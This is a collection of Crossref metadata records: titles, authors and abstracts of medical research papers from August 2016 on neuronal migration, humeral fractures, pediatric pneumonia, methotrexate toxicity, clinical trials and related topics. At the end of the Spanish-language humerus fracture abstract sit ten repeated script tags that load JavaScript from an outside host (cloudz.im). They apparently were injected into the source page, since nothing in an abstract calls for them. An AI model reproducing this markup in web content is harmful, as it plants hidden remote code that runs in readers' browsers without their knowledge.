bluuebunny/crossref_metadata_2025_split huggingface dataset:
ADP Ribosylation Factor 6 Regulates Neuronal Migration in the Developing Cerebral Cortex through FIP3/Arfophilin-1-dependent Endosomal Trafficking of N-cadherin
Authors: Hara Yoshinobu , Fukaya Masahiro , Hayashi Kanehiro , Kawauchi Takeshi , Nakajima Kazunori , Sakagami Hiroyuki 
Published: August 2016

AbstractDuring neural development, endosomal trafficking controls cell shape and motility through the polarized transport of membrane proteins related to cell–cell and cell–extracellular matrix interactions. ADP ribosylation factor 6 (Arf6) is a critical small GTPase that regulates membrane trafficking between the plasma membrane and endosomes. We herein demonstrated that the knockdown of endogenous Arf6 in mouse cerebral cortices led to impaired neuronal migration in the intermediate zone and cytoplasmic retention of N-cadherin and syntaxin12 in migrating neurons. Rescue experiments with separation-of-functionArf6mutants identified Rab11 family-interacting protein 3 (FIP3)/Arfophilin-1, a dual effector for Arf6 and Rab11, as a downstream effector of Arf6 in migrating neurons. The knockdown of FIP3 led to impaired neuronal migration in the intermediate zone and cytoplasmic retention of N-cadherin in migrating neurons, similar to that of Arf6, which could be rescued by the coexpression of wild-type FIP3 but notFIP3mutants lacking the binding site for Arf6 or Rab11. These results suggest that Arf6 regulates cortical neuronal migration in the intermediate zone through the FIP3-dependent endosomal trafficking.
Osteosíntesis percutánea mínimamente invasiva lateral en fracturas de húmero.
Authors: Ruchelli Luis Sebastian , Allende Nores Christian Antonio , Gutierrez Olivera Natalia , Capomassi Miguel A. , Gardenal Martin R. 
Published: August 2016

<p class="Standard"><strong>Introducción</strong>: El objetivo de este estudio es evaluar retrospectivamente los resultados funcionales, radiológicos y las complicaciones postquirúrgicas inmediatas y a largo plazo de una serie de pacientes con fracturas y no consolidaciones humerales tratados mediante osteosíntesis con técnica mínimamente invasiva.</p><p class="Standard"><span> <strong>Material y Métodos</strong>: Estudio Multicéncrico Retrospectivo de 17 pacientes con 14 fracturas y 3 no consolidaciones de húmero tratados con técnica de osteosíntesis mínimamente invasiva con placas, entre 2007 y 2013. Se evaluaron 10 mujeres siete varones, la edad promedio 48,7 años (rango 21 -73). Tres no consolidaciones oligotróficas .Las fracturas se clasificaron según la clasificación AO 12 A1 n: 1; 12 B1 n: 1; 12B2 n: 3; 12 C1 n: 6; 12C2 n: 1; 12C3 n: 2. Se utilizó dos incisiones laterales una proximal y otra distal se deslizó la placa por un canal submuscular, se protegió el nervio radial.</span></p><p class="Standard"><span> <strong> Resultados</strong>: El seguimiento promedio 30 meses. Se obtuvo la consolidación clínica y radiográfica en 16 casos, el tiempo promedio hasta la consolidación fue de tres meses (rango, 2 a 6). La flexión promedio 174.8°, rotación externa 67.2°, abducción 173.8 y la rotación interna 72,1°. El arco de flexo-extensión de codo promedió 140,5°. El test de Constant promedio 82.66 puntos; el DASH promedio 15,27 puntos. Cuatro (23,5%) pacientes presentaron neuroapraxia radial.</span></p><p class="Standard"><strong><span>Discusión</span></strong><span>: La osteosíntesis con placas percutáneas mediante un abordaje mínimamente invasivo ha demostrado su efectividad para el tratamiento de algunas no-consolidaciones y fracturas diafisarias de húmero aplicando el principio de placa puente. Es un procedimiento biológico, técnicamente demandante, no exento de complicaciones.</span></p><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script>
Microbial etiology of community-acquired pneumonia among infants and children admitted to the pediatric hospital, Ain Shams University
Authors: El Seify Magda Yehia , Fouda Eman Mahmoud , Ibrahim Hanan Mohamed , Fathy Maha Muhammad , Al Husseiny Ahmed Asmaa , Khater Walaa Shawky , Salah El Deen Noha Nagi Mohammed , Mohamed Abouzeid Heba Galal , Ahmed Hegazy Nancy Riyad , Sayed Elbanna Heba Salah 
Published: August 2016

Background
While recognizing the etiology of community-acquired pneumonia is necessary for formulating local antimicrobial guidelines, limited data is published about this etiology in Egyptian pediatric patients.

Objectives
To determine the frequency of bacterial and viral pathogens causing community-acquired pneumonia (CAP) among immunocompetent Egyptian infants and preschool children.

Methods
Ninety infants and preschool-age children admitted to our hospital with CAP were prospectively included in the study. Etiological agents were identified using conventional bacteriological identification methods and IgM antibodies detection against common atypical respiratory bacteria and viruses.

Results
An etiology was identified in 59 patients (65.5%). Bacterial pathogens were detected in 43 (47.8%) of the cases while viral pathogens were detected in 23 (25.5%). Coinfection with more than one etiologic agent was evident in seven patients (7.8%). The most common typical bacterial cause of pneumonia was Staphylococcus aureus (n = 12, 13.3%), followed by Streptococcus pneumoniae and Klebsiella pneumoniae (n = 7, 7.8%, each). The commonest atypical bacterium was Mycoplasma pneumoniae (n = 10, 11.1%), whereas the commonest viral etiology was influenza viruses (n = 11, 12.2%).

Conclusion
Although we could not determine the causative agent in some studied cases, this study provides preliminary data regarding the spectrum and frequency of microorganisms causing CAP in Egyptian infants and preschool children.
Preventing and Managing Toxicities of High-Dose Methotrexate
Authors: Howard Scott C. , McCormick John , Pui Ching-Hon , Buddington Randall K. , Harvey R. Donald 
Published: August 2016

Abstract
High-dose methotrexate (HDMTX), defined as a dose higher than 500 mg/m2, is used to treat a range of adult and childhood cancers. Although HDMTX is safely administered to most patients, it can cause significant toxicity, including acute kidney injury (AKI) in 2%–12% of patients. Nephrotoxicity results from crystallization of methotrexate in the renal tubular lumen, leading to tubular toxicity. AKI and other toxicities of high-dose methotrexate can lead to significant morbidity, treatment delays, and diminished renal function. Risk factors for methotrexate-associated toxicity include a history of renal dysfunction, volume depletion, acidic urine, and drug interactions. Renal toxicity leads to impaired methotrexate clearance and prolonged exposure to toxic concentrations, which further worsen renal function and exacerbate nonrenal adverse events, including myelosuppression, mucositis, dermatologic toxicity, and hepatotoxicity. Serum creatinine, urine output, and serum methotrexate concentration are monitored to assess renal clearance, with concurrent hydration, urinary alkalinization, and leucovorin rescue to prevent and mitigate AKI and subsequent toxicity. When delayed methotrexate excretion or AKI occurs despite preventive strategies, increased hydration, high-dose leucovorin, and glucarpidase are usually sufficient to allow renal recovery without the need for dialysis. Prompt recognition and effective treatment of AKI and associated toxicities mitigate further toxicity, facilitate renal recovery, and permit patients to receive other chemotherapy or resume HDMTX therapy when additional courses are indicated.
Prognostic Value of the Cumulative Cisplatin Dose During Concurrent Chemoradiotherapy in Locoregionally Advanced Nasopharyngeal Carcinoma: A Secondary Analysis of a Prospective Phase III Clinical Trial
Authors: Peng Hao , Chen Lei , Zhang Yuan , Li Wen-Fei , Mao Yan-Ping , Zhang Fan , Guo Rui , Liu Li-Zhi , Lin Ai-Hua , Sun Ying , Ma Jun 
Published: August 2016

Abstract

Background.
The objective of this study was to evaluate the prognostic value of the cumulative cisplatin dose (CCD) for long-term survival outcomes after concurrent chemoradiotherapy (CCRT) in locoregionally advanced nasopharyngeal carcinoma (NPC).

Methods.
Patients were included in an open-label phase III multicenter randomized controlled trial performed at seven institutions in China, and the 298 patients receiving CCRT only were assessed. Patient survival between different CCD groups were compared.

Results.
Median CCD for the 298 patients was 240 mg/m2 (range, 40–320 mg/m2); 113 (37.9%) patients received a CCD of &lt;240 (≤200) mg/m2, and 185 (62.1%) received a CCD of ≥240 mg/m2. For CCD of ≥240 mg/m2 vs. &lt;240 mg/m2, the estimated 5-year overall survival, disease-free survival, locoregional relapse-free survival, and distant metastasis-free survival rates were 83.2% vs. 76.2% (p = .403), 73.5% vs. 67.8% (p = .461), 90.4% vs. 86.8% (p = .551), and 82.6% vs. 79.7% (p = .632), respectively. Multivariate analysis demonstrated that CCD (240 mg/m2) was not an independent prognostic factor in either the entire cohort or stage III/IV subgroup.

Conclusion.
A CCD of ≥240 mg/m2 was not an independent prognostic factor in patients with locoregionally advanced NPC at high risk of distant metastasis, and 200 mg/m2 cisplatin may be adequate to achieve a survival benefit.
The Association Between Body Size and Breast Cancer in Han Women in Northern and Eastern China
Authors: Wang Xin , Li Liang , Gao Jidong , Liu Jiaqi , Guo Mingming , Liu Liyuan , Wang Wenyan , Wang Jie , Xing Zeyu , Yu Zhigang , Wang Xiang 
Published: August 2016

Abstract

Introduction.
Although obesity has been reported worldwide as a risk factor for breast cancer, there are still some inconsistencies regarding the association between obesity and breast cancer. Body mass index (BMI) is used most to assess the extent of obesity; however, the association of other body size characteristics, such as waist and hip circumference, with susceptibility to breast cancer in Chinese Han women needs to be better assessed.

Patients and Methods.
Female Chinese Han patients (N = 2,800) were recruited from 21 hospitals in northern and eastern China from April 2012 to April 2013 for a case-control study. The significant differences of factors related to body size between the breast-cancer case and control groups were determined by Student’s t test and chi-square tests.

Results.
Premenopausal women with breast cancer had higher BMI and larger waist and hip circumferences (p = 2 × 10−4, &lt;1 × 10−6, and 2 × 10−5, respectively). However, these body-size factors were not associated with postmenopausal breast cancer (p = .45, 0.32, and 0.12, respectively). BMI between 28 and 30 kg/m2 or greater than 32 kg/m2 was related to breast cancer incidence in the overall study population and in premenopausal women but not in the postmenopausal group.

Conclusion.
Obesity is significantly associated with breast cancer in Chinese Han premenopausal women but not in postmenopausal women. Thus, it is important to realize that weight control, as well as avoiding abdominal obesity, should be considered as one of the most effective methods of reducing breast cancer risk.
Implementation of quality and risk management strategies in wound care trials
Authors: Krafcik Brianna M. , Malikova Marina 
Published: August 2016

<p class="abstract"><strong>Background:</strong> Systematic analysis of risk factors in multiple wound care clinical trials was performed to develop proactive risk mitigation strategies and improve the quality of trials conducted.</p><p class="abstract"><strong>Methods:</strong> This internal, single center internal quality control (QC) audit of eight recently completed prospective, randomized wound care clinical trials assessed the rate of serious adverse events (SAEs) and compared two wound indications: diabetic foot ulcers (DFU) and venous leg ulcers (VLU). Additionally, adherence to study protocol and compliance with current regulatory requirements was examined based on the rate of protocol deviations over time.</p><p class="abstract"><strong>Results:</strong> A comparison of SAE occurrences between DFU and VLU studies showed twice as many SAEs per subject in the DFU studies as compared to the VLU studies. The most common categories were infections, both of the wound and of other anatomic locations. The onboarding of new study coordinators and multiple coordinators working independently on one trial over time consistently showed an increase in the number of deviations per active subject, particularly immediately following the date of hire. The most common categories for deviations were out-of-window visits and missed study procedures. </p><p><strong>Conclusions:</strong> Assessment of potential issues in prospective wound care studies can lead to earlier mitigation of risks, quality improvement in data obtained and increased efficiency of studies conducted in this field. Effective training and retention of research coordinators can reduce the number of deviations, and an understanding of the frequency and types of adverse events can provide an expectation for those conducting trials in a particular indication.</p>
A multicenter, prospective, randomized study protocol to demonstrate the superiority of a bone-anchored prosthesis for anular closure used in conjunction with limited discectomy to limited discectomy alone for primary lumbar disc herniation
Authors: Klassen Peter Douglas , Hes Robert , Bouma Gerrit Joan , Eustacchio Sandro , Barth Martin , Kursumovic Adisa , Jadik Senol , Heidecke Volkmar , Bostelmann Richard , Thomé Claudius , Vajkoczy Peter , Köhler Hans Peter , Fandino Javier , Assaker Richard , Van de Kelft Erik , Fröhlich Susanne , Van den Brink Wimar , Perrin Jason , Wolfs Jasper , Arts Mark , Martens Frederic 
Published: August 2016

<p class="abstract"><strong>Background:</strong> Same-level reherniation and progressive degeneration with disc height loss are main causes of poor outcome after discectomy and may necessitate reoperation. A novel prosthesis for anular closure was developed to address these causes.</p><p class="abstract"><strong>Methods:</strong> The design of a multicenter, prospective, randomized, post-market superiority trial comparing limited lumbar discectomy augmented with this device (intervention group) with limited lumbar discectomy alone (control group) is presented.</p><p class="abstract"><strong>Results:</strong> Patients with single-level (L1-S1) posterior or posterolateral disc herniation and radiologic confirmation of neural compression for whom at least six weeks of conservative treatment has failed are eligible. Patients must have posterior disc height ≥5 mm at index level and baseline Oswestry and VAS leg pain scores of ≥40/100. Intraoperatively, subjects meeting anular defect size criteria post-discectomy (4-6 mm tall and 6-10 mm wide) will be randomized to study groups in a 1:1 ratio using centralized, web-based software. A Bayesian statistical approach will be used to enroll 400 to 800 subjects who will be followed for at least 24 months. Two co-primary endpoints will be assessed at 24 months: 1) a composite of leg pain, clinical function, disc height maintenance, and absence of reherniation, reoperation, and device failure; and 2) absence of reherniation based upon independent radiologic analysis. </p><strong>Conclusions:</strong> This type of analysis is becoming increasingly important as governments and health insurers continue to be pressured to spend limited healthcare funding wisely.
Comparison between high dose hyperbaric Bupivacaine (12.5 mg) alone versus low dose hyperbaric Bupivacaine (7.5 mg) with Fentanyl (25 µg) in spinal anaesthesia for inguinal hernia surgery
Authors: Kotwani Manish B. , Rupwate Kanchan , Shivananda Prashanth , Magar Jyoti 
Published: August 2016

<p class="abstract"><strong>Background:</strong> For performing inguinal hernia surgeries, giving spinal anesthesia is a well known technique as it easy and provides fast onset, effective sensory and motor blockade in an awake patient. Now-a-days Bupivacaine is gaining importance as an effective spinal anaesthetic agent in combination with opioid analgesic Fentanyl to reduce the postoperative pain and side effects associated with surgery. This study aims to compare the effectiveness of intrathecal Bupivacaine alone versus combination of Bupivacaine with Fentanyl.</p><p class="abstract"><strong>Methods:</strong> The study designed was a prospective, randomized, double blinded comparative study. Patients were randomly divided into two groups of 25 each. Group B received hyperbaric intrathecal Bupivacaine 12.5 mg and Group BF received diluted hyperbaric intrathecal Bupivacaine 7.5 mg and Fentanyl 25 µg for spinal anesthesia . Parameters like sensory and motor block were assessed. Side effects produced during perioperative and postoperative period were observed and noted. Satisfactory criteria by the surgeons and patients were considered.</p><p class="abstract"><strong>Results:</strong> The time taken to attain surgical anesthesia and peak sensory levels in minutes was statistically significant in Group B compared to Group BF. Due to higher dose of Bupivacaine, it was observed that degree of motor blockade is also higher in group B when compared to group BF. The incidence of hypotension, nausea, vomiting and hypothermia are significantly higher in group B due to high dose of Bupivacaine. The surgeons and patients satisfaction was good in both the groups. </p><p><strong>Conclusions:</strong> Low dose Bupivacaine in combination with Fentanyl is safe and effective alternative for spinal anesthesia for inguinal herniorrphaphy as compared to conventional high dose Bupivacaine alone.</p>
Clinical evaluation of polyherbal formulation (Uricare Tablet) in benign prostatic hyperplasia: randomized, placebo controlled, single blinded clinical study
Authors: Patel Hardik R. , Patel Manish , Patel Mansi M. , Patel Janmjay H. , Patel Payal G. , Patel Apurva N. 
Published: August 2016

<p class="abstract"><strong>Background:</strong> This was a randomized, placebo controlled, single blinded clinical trial undertaken in 60 male patients in the age group of 18-70 years diagnosed with benign prostatic hyperplasia (BPH) in the department of at P.D. Patel Kayachikitsha, Ayurveda Hospital, India.</p><p class="abstract"><strong>Methods:</strong> A medical history, especially on urinary symptoms was obtained from all patients on first visit along with Blood tests. 60 Patients were randomized into two groups. Uricare tablet was administered at the dose of 2 tablets twice a day for the period of 6 weeks to treatment group and Placebo tablet was administered with same doses to the remaining patients group. They were evaluated on BPH assessment parameters, IPSS (International prostate symptom score), quality of life (QOL), level of serum PSA and the prostate volume.</p><p class="abstract"><strong>Results:</strong> Percentage reduction in IPSS score was observed 25.62% and 1.80% in treatment and placebo group respectively. Percentage improvement in QOL was also observed 31.67% and 2.82% in treatment and placebo groups respectively. BPH assessment parameters also show moderate changes in before and after treatment in both groups. However, the reduction in prostate volume was identified up to -4.612cc and -1.427cc in treatment and placebo group respectively at the end of the trial. Prostate significant antigen (PSA) was significantly reduced in the treatment group than Placebo group. </p><strong>Conclusions:</strong>There were no serious adverse effects observed during the study. Hence, the therapy was assumed to be well tolerated by patients and can be considered as a drug of choice in the management of BPH.<p> </p>
An analysis of clinical trials registered with CTRI in India from 2007 to 2015
Authors: Chawan Vihang S. , Badwane Sagar V. , Gawand Kalpesh V. , Chhaya Maheshi U. 
Published: August 2016

<p class="abstract"><strong>Background:</strong> Clinical trials are gold standard in the field of evidence based medicine. Registration of clinical trials facilitates the dissemination of information among clinicians, researchers and patients. Earlier, researchers were interested only in publishing positive results of their study. The negative results were never published resulting in bias in reporting the results of such clinical trials. It is now mandatory to register all clinical trials done in India at National Institute of Medical Statistics (NIMS) hosted at Clinical Trial Registry - India (CTRI) website to ensure transparency, accountability and accessibility of clinical trials. This study was planned to analyze the number of clinical trials registered under CTRI from 2007 to 2015. The information regarding the registration of clinical trials was accessed from the website www.ctri.nic.in.</p><p class="abstract"><strong>Methods:</strong> The information on registered clinical trials was obtained from the website www.ctri.nic.in. The clinical trials registered with CTRI from 2007 to 2015 were noted for analysis.</p><p class="abstract"><strong>Results:</strong> Maximum number of clinical trials registered in the year 2015 (1113), followed by year 2014 (1089), 2013 (990), 2012 (959) and 2011 (748) while least number of clinical trials registered in the year 2007 (32). Results revealed that there is wide gap the number of clinical trials registered in between year 2007 to 2015 and also revealed that number of clinical trials registered are increasing in order from year 2007 to year 2015. </p><strong>Conclusions:</strong> The registrations of clinical trials improve the reliability of data generated, assist clinicians to interpret research, minimizes duplication of trials and prevents exposure of volunteers to potential risks.